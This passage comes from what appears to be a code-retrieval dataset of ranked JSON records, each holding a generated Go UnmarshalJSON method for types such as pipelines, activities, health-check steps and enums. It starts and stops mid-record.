\"username\":\n\t\t\terr = unpopulate(val, &w.Username)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "ca3897c31dd8e632e9d2591a4c87f54e", "score": "0.6060585", "text": "func (s *SwitchActivityTypeProperties) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"cases\":\n\t\t\terr = unpopulate(val, &s.Cases)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"defaultActivities\":\n\t\t\ts.DefaultActivities, err = unmarshalActivityClassificationArray(val)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"on\":\n\t\t\terr = unpopulate(val, &s.On)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c9655174d9a3715e77332279679d4409", "score": "0.60416526", "text": "func (r *RestHealthCheckStepAttributes) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", r, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"healthyStateDuration\":\n\t\t\terr = unpopulate(val, \"HealthyStateDuration\", &r.HealthyStateDuration)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"maxElasticDuration\":\n\t\t\terr = unpopulate(val, \"MaxElasticDuration\", &r.MaxElasticDuration)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"properties\":\n\t\t\terr = unpopulate(val, \"Properties\", &r.Properties)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"type\":\n\t\t\terr = unpopulate(val, \"Type\", &r.Type)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"waitDuration\":\n\t\t\terr = unpopulate(val, \"WaitDuration\", &r.WaitDuration)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", r, err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c9655174d9a3715e77332279679d4409", "score": "0.60416526", "text": "func (r *RestHealthCheckStepAttributes) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", r, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"healthyStateDuration\":\n\t\t\terr = unpopulate(val, \"HealthyStateDuration\", &r.HealthyStateDuration)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"maxElasticDuration\":\n\t\t\terr = unpopulate(val, \"MaxElasticDuration\", &r.MaxElasticDuration)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"properties\":\n\t\t\terr = unpopulate(val, \"Properties\", &r.Properties)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"type\":\n\t\t\terr = unpopulate(val, \"Type\", &r.Type)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"waitDuration\":\n\t\t\terr = unpopulate(val, \"WaitDuration\", &r.WaitDuration)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", r, err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "90ccc5c7bccda26ed6ef6cbe5aff5500", "score": "0.6037132", "text": "func (dwua *DataWarehouseUserActivities) UnmarshalJSON(body []byte) error {\n\tvar m map[string]*json.RawMessage\n\terr := json.Unmarshal(body, &m)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor k, v := range m {\n\t\tswitch k {\n\t\tcase \"properties\":\n\t\t\tif v != nil {\n\t\t\t\tvar dataWarehouseUserActivitiesProperties DataWarehouseUserActivitiesProperties\n\t\t\t\terr = json.Unmarshal(*v, &dataWarehouseUserActivitiesProperties)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tdwua.DataWarehouseUserActivitiesProperties = &dataWarehouseUserActivitiesProperties\n\t\t\t}\n\t\tcase \"id\":\n\t\t\tif v != nil {\n\t\t\t\tvar ID string\n\t\t\t\terr = json.Unmarshal(*v, &ID)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tdwua.ID = &ID\n\t\t\t}\n\t\tcase \"name\":\n\t\t\tif v != nil {\n\t\t\t\tvar name string\n\t\t\t\terr = json.Unmarshal(*v, &name)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tdwua.Name = &name\n\t\t\t}\n\t\tcase \"type\":\n\t\t\tif v != nil {\n\t\t\t\tvar typeVar string\n\t\t\t\terr = json.Unmarshal(*v, &typeVar)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tdwua.Type = &typeVar\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "df59a6ca091f7fecdb8591d8adf7b78b", "score": "0.60216373", "text": "func (h *HDInsightHiveActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &h.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn h.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "7e3130d430354f5f22da6886c6b9a25f", "score": "0.60041624", "text": "func (r *RuleAction) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\treturn r.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "618bfd4f2015ea6ab2eb9e82f33afb55", "score": "0.5999198", "text": "func (w *WaitStepAttributes) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", w, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"duration\":\n\t\t\terr = unpopulate(val, \"Duration\", &w.Duration)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", w, err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c1ff6dfafa4204654ec05d06fce787af", "score": "0.59981054", "text": "func (i *IfConditionActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &i.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn i.ControlActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "3d9bd9e586cb547076993da10eb00a33", "score": "0.5997256", "text": "func (a *ActivityPolicy) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"retry\":\n\t\t\terr = unpopulate(val, &a.Retry)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"retryIntervalInSeconds\":\n\t\t\terr = unpopulate(val, &a.RetryIntervalInSeconds)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"secureInput\":\n\t\t\terr = unpopulate(val, &a.SecureInput)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"secureOutput\":\n\t\t\terr = unpopulate(val, &a.SecureOutput)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"timeout\":\n\t\t\terr = unpopulate(val, &a.Timeout)\n\t\t\tdelete(rawMsg, key)\n\t\tdefault:\n\t\t\tif a.AdditionalProperties == nil {\n\t\t\t\ta.AdditionalProperties = map[string]interface{}{}\n\t\t\t}\n\t\t\tif val != nil {\n\t\t\t\tvar aux interface{}\n\t\t\t\terr = json.Unmarshal(val, &aux)\n\t\t\t\ta.AdditionalProperties[key] = aux\n\t\t\t}\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "746dd9b6b93ab243f9ccbd940d1f95c5", "score": "0.59915155", "text": "func (a *AllowedAudiencesValidation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"allowedAudiences\":\n\t\t\terr = unpopulate(val, \"AllowedAudiences\", &a.AllowedAudiences)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "d1854ca9b1f41f60de8bc3d7af5fe512", "score": "0.5983244", "text": "func (a *ACLFailedEntry) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"errorMessage\":\n\t\t\terr = unpopulate(val, \"ErrorMessage\", &a.ErrorMessage)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &a.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"type\":\n\t\t\terr = unpopulate(val, \"Type\", &a.Type)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "8cbee8320b806917b39ca21c85ca504b", "score": "0.5979941", "text": "func (p *Pipeline) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"activities\":\n\t\t\tp.Activities, err = unmarshalActivityClassificationArray(val)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"annotations\":\n\t\t\terr = unpopulate(val, &p.Annotations)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"concurrency\":\n\t\t\terr = unpopulate(val, &p.Concurrency)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, &p.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"folder\":\n\t\t\terr = unpopulate(val, &p.Folder)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"parameters\":\n\t\t\terr = unpopulate(val, &p.Parameters)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"runDimensions\":\n\t\t\terr = unpopulate(val, &p.RunDimensions)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"variables\":\n\t\t\terr = unpopulate(val, &p.Variables)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b010ada7ee0cbb83315aeb4c7f569259", "score": "0.5978578", "text": "func (c *CopyActivityTypeProperties) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"dataIntegrationUnits\":\n\t\t\terr = unpopulate(val, &c.DataIntegrationUnits)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"enableSkipIncompatibleRow\":\n\t\t\terr = unpopulate(val, &c.EnableSkipIncompatibleRow)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"enableStaging\":\n\t\t\terr = unpopulate(val, &c.EnableStaging)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"logSettings\":\n\t\t\terr = unpopulate(val, &c.LogSettings)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"logStorageSettings\":\n\t\t\terr = unpopulate(val, &c.LogStorageSettings)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"parallelCopies\":\n\t\t\terr = unpopulate(val, &c.ParallelCopies)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"preserve\":\n\t\t\terr = unpopulate(val, &c.Preserve)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"preserveRules\":\n\t\t\terr = unpopulate(val, &c.PreserveRules)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"redirectIncompatibleRowSettings\":\n\t\t\terr = unpopulate(val, &c.RedirectIncompatibleRowSettings)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"sink\":\n\t\t\tc.Sink, err = unmarshalCopySinkClassification(val)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"skipErrorFile\":\n\t\t\terr = unpopulate(val, &c.SkipErrorFile)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"source\":\n\t\t\tc.Source, err = unmarshalCopySourceClassification(val)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"stagingSettings\":\n\t\t\terr = unpopulate(val, &c.StagingSettings)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"translator\":\n\t\t\terr = unpopulate(val, &c.Translator)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"validateDataConsistency\":\n\t\t\terr = unpopulate(val, &c.ValidateDataConsistency)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "604149df76fc80d02b464eb90a597da3", "score": "0.5966384", "text": "func (d *DatabricksNotebookActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &d.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn d.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "4a57beac7bbcc28a58f22ccc40b74c72", "score": "0.5963758", "text": "func (f *FeatureValidationRequest) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"featureName\":\n\t\t\terr = unpopulate(val, \"FeatureName\", &f.FeatureName)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"featureType\":\n\t\t\terr = unpopulate(val, \"FeatureType\", &f.FeatureType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"objectType\":\n\t\t\terr = unpopulate(val, \"ObjectType\", &f.ObjectType)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b3932025cf9a7fb7e9c344b392616d87", "score": "0.5958807", "text": "func (h *HardwareValidationStatus) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", h, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"lastValidationTime\":\n\t\t\terr = unpopulateTimeRFC3339(val, \"LastValidationTime\", &h.LastValidationTime)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"result\":\n\t\t\terr = unpopulate(val, \"Result\", &h.Result)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", h, err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "649015488a28c6fa7a46cc106d129d83", "score": "0.5898083", "text": "func (v *Status) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeAForumInternalModels5(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "390fda672930f5af049ede16ee7205e1", "score": "0.5882055", "text": "func (cv *ConstraintViolation) UnmarshalJSON(data []byte) error {\n\treturn gojson.Unmarshal(data, cv)\n}", "title": "" }, { "docid": "d44c93ac75b8c01b74d66cf34d057976", "score": "0.5875067", "text": "func (d *DatabricksSparkPythonActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &d.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn d.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "7a22300e5893764c79f7077cb7cb0a07", "score": "0.58655554", "text": "func (h *HealthCheckStepAttributes) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", h, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"healthyStateDuration\":\n\t\t\terr = unpopulate(val, \"HealthyStateDuration\", &h.HealthyStateDuration)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"maxElasticDuration\":\n\t\t\terr = unpopulate(val, \"MaxElasticDuration\", &h.MaxElasticDuration)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"type\":\n\t\t\terr = unpopulate(val, \"Type\", &h.Type)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"waitDuration\":\n\t\t\terr = unpopulate(val, \"WaitDuration\", &h.WaitDuration)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", h, err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "433010b2ef0e3528eb8cf81dd2b33803", "score": "0.58629817", "text": "func (x *ELeagueStatus) UnmarshalJSON(b []byte) error {\n\tnum, err := protoimpl.X.UnmarshalJSONEnum(x.Descriptor(), b)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*x = ELeagueStatus(num)\n\treturn nil\n}", "title": "" }, { "docid": "d217526416182245e82b253a03e82caa", "score": "0.5851104", "text": "func (v *DeliveryStatus) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonCce3d1beDecodeGithubComMailgunMailgunGoV3Events7(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "6c31ffe15811a43b07c8f9a7cc6b4be9", "score": "0.583957", "text": "func (s *SQLServerStoredProcedureActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &s.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn s.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "1d04418edb30ced51fe2cca35c65cd7e", "score": "0.5828628", "text": "func (v *Status) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson6601e8cdDecodeGithubComOlegSchwann2chApiTypes6(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "170930dc08a771ac21b609ff445a79eb", "score": "0.58237445", "text": "func (u *AppUnlinkTeamDetails) UnmarshalJSON(b []byte) error {\n\ttype wrap struct {\n\t\t// AppInfo : Relevant application details.\n\t\tAppInfo json.RawMessage `json:\"app_info\"`\n\t}\n\tvar w wrap\n\tif err := json.Unmarshal(b, &w); err != nil {\n\t\treturn err\n\t}\n\tAppInfo, err := IsAppLogInfoFromJSON(w.AppInfo)\n\tif err != nil {\n\t\treturn err\n\t}\n\tu.AppInfo = AppInfo\n\treturn nil\n}", "title": "" }, { "docid": "3d051ee29c6f1d99519f0cd0430c7eb6", "score": "0.58171606", "text": "func (v *Status) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeGithubComForumTPModels3(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "c4e96d7ff9d28a9f5dd0b7b35fa0f695", "score": "0.5815806", "text": "func (v *ChatActionsRequest) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson24fe7897DecodeGithubComBm0IcqBotApi2(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "f916df52d0ca0a9adba5216e4374fbb2", "score": "0.58082384", "text": "func (u *AppLinkTeamDetails) UnmarshalJSON(b []byte) error {\n\ttype wrap struct {\n\t\t// AppInfo : Relevant application details.\n\t\tAppInfo json.RawMessage `json:\"app_info\"`\n\t}\n\tvar w wrap\n\tif err := json.Unmarshal(b, &w); err != nil {\n\t\treturn err\n\t}\n\tAppInfo, err := IsAppLogInfoFromJSON(w.AppInfo)\n\tif err != nil {\n\t\treturn err\n\t}\n\tu.AppInfo = AppInfo\n\treturn nil\n}", "title": "" }, { "docid": "ad73bca6dad788fbc21cdf52ea1f3361", "score": "0.58048207", "text": "func (x *EGuildAuditAction) UnmarshalJSON(b []byte) error {\n\tnum, err := protoimpl.X.UnmarshalJSONEnum(x.Descriptor(), b)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*x = EGuildAuditAction(num)\n\treturn nil\n}", "title": "" }, { "docid": "45fa546e0d2b87cca174084dbbca93df", "score": "0.5801067", "text": "func (ac *Action) UnmarshalJSON(data []byte) error {\n\tvar actionFile ActionFile\n\n\t// decode\n\tdec := json.NewDecoder(bytes.NewReader(data))\n\tif err := dec.Decode(&actionFile); err != nil {\n\t\treturn fmt.Errorf(\"decode Action err: %s\", err)\n\t}\n\n\t// check\n\tif err := ActionFileCheck(actionFile); err != nil {\n\t\treturn fmt.Errorf(\"actionFileCheck err: %s\", err)\n\t}\n\n\t// convert to action\n\tac.Cmd = *actionFile.Cmd\n\tac.Params = actionFile.Params\n\n\treturn nil\n}", "title": "" }, { "docid": "a46d8c6d588429418678d0222788874d", "score": "0.578362", "text": "func (v *Status) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeGithubComArtbakulevTechdbAppModels6(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "68c9c89e1d2639ec223e0efe38323562", "score": "0.57766557", "text": "func (x *Enums_BidRequest_Impression_Video_VideoStartDelay) UnmarshalJSON(b []byte) error {\n\tnum, err := protoimpl.X.UnmarshalJSONEnum(x.Descriptor(), b)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*x = Enums_BidRequest_Impression_Video_VideoStartDelay(num)\n\treturn nil\n}", "title": "" }, { "docid": "f0e522168734e6c5e5cdd6d966027265", "score": "0.57749647", "text": "func (x *Enums_BidRequest_Impression_Video_Linearity) UnmarshalJSON(b []byte) error {\n\tnum, err := protoimpl.X.UnmarshalJSONEnum(x.Descriptor(), b)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*x = Enums_BidRequest_Impression_Video_Linearity(num)\n\treturn nil\n}", "title": "" }, { "docid": "bde636e29ce00c76dc19744e6b64657a", "score": "0.5774404", "text": "func (x *MatchType) UnmarshalJSON(b []byte) error {\n\tnum, err := protoimpl.X.UnmarshalJSONEnum(x.Descriptor(), b)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*x = MatchType(num)\n\treturn nil\n}", "title": "" }, { "docid": "c012eb17b970e87aeaeca84af24195ca", "score": "0.5774264", "text": "func (v *ValidateRestoreRequestObject) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", v, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"restoreRequestObject\":\n\t\t\tv.RestoreRequestObject, err = unmarshalAzureBackupRestoreRequestClassification(val)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", v, err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "776f727bc8abd9582fa11aaf7ad0561b", "score": "0.5768738", "text": "func (x *DOTALobbyVisibility) UnmarshalJSON(b []byte) error {\n\tnum, err := protoimpl.X.UnmarshalJSONEnum(x.Descriptor(), b)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*x = DOTALobbyVisibility(num)\n\treturn nil\n}", "title": "" }, { "docid": "961e4f9760982d12dc4feefc42409fc3", "score": "0.5766979", "text": "func (l *LinkedIntegrationRuntimeRbacAuthorization) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"resourceId\":\n\t\t\terr = unpopulate(val, &l.ResourceID)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn l.LinkedIntegrationRuntimeType.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "c0ec25c87a3857bec8c358e747cb486f", "score": "0.57627255", "text": "func (t *TargetEligibilityResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"eligibilityStatus\":\n\t\t\terr = unpopulate(val, \"EligibilityStatus\", &t.EligibilityStatus)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"messages\":\n\t\t\terr = unpopulate(val, \"Messages\", &t.Messages)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "5861bed83ce0f4fa945da2248f19927c", "score": "0.57521725", "text": "func (st *TrackerStatus) UnmarshalJSON(data []byte) error {\n\tvar v string\n\terr := json.Unmarshal(data, &v)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*st = TrackerStatusFromString(v)\n\treturn nil\n}", "title": "" }, { "docid": "833e4ffbe188f371f3f1340c631510f0", "score": "0.5746386", "text": "func (this *Tracing) UnmarshalJSON(b []byte) error {\n\treturn TelemetryUnmarshaler.Unmarshal(bytes.NewReader(b), this)\n}", "title": "" }, { "docid": "4a0d7de9fe075fa8ab247ed83461ac6b", "score": "0.5745979", "text": "func (x *EBroadcastChatPermission) UnmarshalJSON(b []byte) error {\n\tnum, err := protoimpl.X.UnmarshalJSONEnum(x.Descriptor(), b)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*x = EBroadcastChatPermission(num)\n\treturn nil\n}", "title": "" }, { "docid": "4a0d7de9fe075fa8ab247ed83461ac6b", "score": "0.5745979", "text": "func (x *EBroadcastChatPermission) UnmarshalJSON(b []byte) error {\n\tnum, err := protoimpl.X.UnmarshalJSONEnum(x.Descriptor(), b)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*x = EBroadcastChatPermission(num)\n\treturn nil\n}", "title": "" }, { "docid": "df29c8b17ae86e888837ef8f09808270", "score": "0.5744836", "text": "func (v *Attachment) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: 